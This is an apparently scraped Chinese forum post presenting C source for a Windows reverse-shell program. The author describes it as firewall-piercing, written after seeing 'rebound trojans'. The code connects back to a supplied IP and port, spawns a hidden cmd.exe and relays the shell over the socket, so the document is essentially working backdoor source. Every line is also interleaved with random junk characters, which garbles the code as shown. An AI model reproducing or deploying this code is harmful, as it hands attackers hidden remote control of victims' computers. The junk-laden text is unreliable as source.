这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Nb2]}; O
f)p c$~B
/* ============================== ZW$PJmz
Rebound port in Windows NT rAK}rNxI
By wind,2006/7 L`%v#R
===============================*/ 9 |Cu2
#include w\U
fq
#include I^pD=1Y]
/jdq7CF
#pragma comment(lib,"wsock32.lib") B1]dub9
V#:`:-$$+
void OutputShell(); {c|=L@/
SOCKET sClient; %a;N)1/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :zk69P3
x?0ZzB),
void main(int argc,char **argv) s)dN.'5/
{ Aen)r@Y:
WSADATA stWsaData; u:r'jb~@
int nRet; 1=x4m=wV
SOCKADDR_IN stSaiClient,stSaiServer; A ^YHtJ
i?uJ<BdU[
if(argc != 3) PSX-b)wb
{ t&+f:)n
printf("Useage:\n\rRebound DestIP DestPort\n"); "oX@Z^
return; /
lh3.\|
} 5UE5;yo
{umdW
x.*
WSAStartup(MAKEWORD(2,2),&stWsaData); u?[dy
n
+5Yf9
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yjUSM}$
-7:J#T/\
stSaiClient.sin_family = AF_INET; Yb8o`j+t
stSaiClient.sin_port = htons(0); [bd fp
a
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X p4x:N
_{ z.Tu
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K4]c
{ )v&r^DR_
printf("Bind Socket Failed!\n"); @#q>(Ox%
return; |A".Mo_5
} IP'gN-#i
Wpo:'?!(M^
stSaiServer.sin_family = AF_INET; 0;,4.hsh
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ZOGH.`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [m7^Euury
8<}f:9/
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ngM>Tzirt
{ (P
{o9
printf("Connect Error!"); V
QE *B
return; 4R5+"h:
} V:*QK,
OutputShell(); M#II,z>q
} KN>U6=WN
\(Uw.ri
void OutputShell() Ky33h 0TX
{ z}v6!u|iZu
char szBuff[1024]; Mq!03q6
SECURITY_ATTRIBUTES stSecurityAttributes; Y_n^6 ;
OSVERSIONINFO stOsversionInfo; d&n&_>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j8*fa
STARTUPINFO stStartupInfo; /PbN!r<1
char *szShell; {7!WtH;-
PROCESS_INFORMATION stProcessInformation; )En*5-1
unsigned long lBytesRead; h~rSM#7m
_w8iPL5:
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s^Lg*t3I
#Aox$[|@
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6T>e~<^
stSecurityAttributes.lpSecurityDescriptor = 0; f8u m.Xnp6
stSecurityAttributes.bInheritHandle = TRUE; PzThVeJ+
)h-Qi#{
#% PnZ
/
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V=}AFGC85
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cx?t C#t
J%c4-'l
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); '1]Iu@?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JiL%1y9|
stStartupInfo.wShowWindow = SW_HIDE; Pl4$`Qw#y
stStartupInfo.hStdInput = hReadPipe; OM,-:H,
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B>, O@og
Op^r }7
GetVersionEx(&stOsversionInfo); ^nn3;
1Ao YG_
switch(stOsversionInfo.dwPlatformId) a=3?hVpB
{ /*DC`,q
case 1: rJ)O(
szShell = "command.com"; )N!-g47o%#
break; ]Z?$ 5Ks
default: ~3bn?'`
szShell = "cmd.exe"; Jsf-t
break; :e1BQj`R
} _Wn5*
Pi%Z
-gZI^EII
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U JO
P+r-t8
send(sClient,szMsg,77,0); N<V,5
while(1) s,UccA@
{ cTf/B=yMi
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6|*em4
if(lBytesRead) gZQ,br*
{ T\\Q!pY
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r:u,
send(sClient,szBuff,lBytesRead,0); zb/w^~J_i
} '(M8D5?N-
else / 0Z_$Q&e
{ bM`7>3
d7E
lBytesRead=recv(sClient,szBuff,1024,0); |,k,X}gP
if(lBytesRead<=0) break; ?0HPd5=<v
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0KknsP7
} sr(f9Vl
} 0^htwec!
/(-X[[V
return; qI,4uGg
}